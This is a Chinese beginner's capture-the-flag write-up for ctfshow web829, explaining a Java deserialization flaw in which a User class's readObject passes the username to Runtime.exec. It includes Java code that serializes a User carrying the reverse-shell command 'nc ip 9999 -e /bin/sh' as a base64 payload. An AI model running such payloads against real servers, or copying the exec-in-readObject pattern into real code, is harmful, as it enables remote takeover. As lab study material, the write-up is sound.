ctfshow-web829

一、题目分析

学习java的不知道第几天,还是菜,今天来把ctfshow的题目刷刷然后写写记录吧。有什么不对的欢迎指正。

给了我们源码,看index里面,先是创建一个user类,空的,然后对传入的参数userData进行base64加密,虽然我是第一次见这个函数,但是这个名字就,哈哈哈,是base64没错了。

然后创建一个对象输入流,(这里我对什么输出流、输入流还是分不清。这次做完题看完代码之后总算是 分清了。)传入的参数是一个字节数组输入流,字节数组输入流里面传入的是一个字节数组。创建好之后去调用readObject方法,这个方法就是反序列化,类似于php的unserialize函数,不过java是面向对象的,所以需要先创建对象。然后强制转化为User类,其中任何一步出错都会进入异常,返回base64 decode error。

package com.ctfshow.controller;

@Controller
@RequestMapping("/")
public class IndexController {

    @RequestMapping(value = "/",method = RequestMethod.POST)
    @ResponseBody
    public String index(HttpServletRequest request){
        User user=null;
        try {
            byte[] userData = Base64.getDecoder().decode(request.getParameter("userData"));
            ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(userData));
            user = (User) objectInputStream.readObject();
        }catch (Exception e){
            return "base64 decode error";
        }

        return "unserialize done, you username is "+user.getName();
    }

    @RequestMapping(value = "/",method = RequestMethod.GET)
    @ResponseBody
    public String index(){
        return "plz post parameter 'userData'  to unserialize";
    }
}


package com.ctfshow.entity;

public class User implements Serializable {

    private static final long serialVersionUID = -3254536114659397781L;
    private String username;

    public User(String username) {
        this.username = username;
    }

    public String getName(){
        return this.username;
    }

    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        in.defaultReadObject();
        Runtime.getRuntime().exec(this.username);
    }
}

下面就是一个User类,只有继承了Serializable才能进行反序列化(如果没继承的话,反射可以绕过,不过我不是很懂,就只调试过一次,然后差不多也忘了,哈哈。),我们可以看到有一个readObject方法,是不是和之前的readObject方法一样,调用的就是这里,类似于php的__destruct,一个反序列化的入口点,可以看到里面是执行系统命令的,参数为username,到这里我们就能想到,创建一个User类,使他的username为我们需要执行的命令,然后去反序列化,再base64加密,然后传入就能执行我们想要的命令了。

二、写代码咯

这里有一个坑,我是新手,才知道的,就java反序列化的时候会解析包名的,所以我们本地创建类的时候是需要设置好包路径的,不能错,不然服务器找不到那个类呢。

代码如下,第一行就是创建User类了,然后传入的是username

后面是一个函数,其实这里不用创建函数,之前也讲了,我不清楚这个输入输出,就去网上找了一个函数,我们来看一下函数里面,先是创建一个字节数组输出流,我们需要把字节数组输出流放入对象输出流,然后这个对象输出流就创建好了,然后调用writeObject方法,这个就是序列化的函数了,因为bo时候一个字节数组输出流,可以调用toByteArray方法来转化为字节数组,然后函数就结束,然后接着就是对字节数组进行一个base64加密,然后再使用for循环输出,这就是payload。

User a = new User("nc ip 9999 -e /bin/sh");
        byte[] bytes = ObjectToByte(a);
        byte[] userData  = Base64.getEncoder().encode(bytes);
        for(int x= 0 ; x < userData.length; x++) {
            // 打印字符
            System.out.print((char)userData[x]);
        }

 public static byte[] ObjectToByte(Object obj) {
        byte[] bytes = null;
        try {
            // object to bytearray
            ByteArrayOutputStream bo = new ByteArrayOutputStream();
            ObjectOutputStream oo = new ObjectOutputStream(bo);
            oo.writeObject(obj);
            bytes = bo.toByteArray();
            bo.close();
            oo.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
        return bytes;
    }

 

然后服务器监听,burp发包就可以了。

 

三、总结

1、 对对象输入输出流的认识有了一点点新的认识。

2、对序列化和反序列化有了一点新的认识。

3、明白了反序列化需要对应包路径的。

  • 3
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值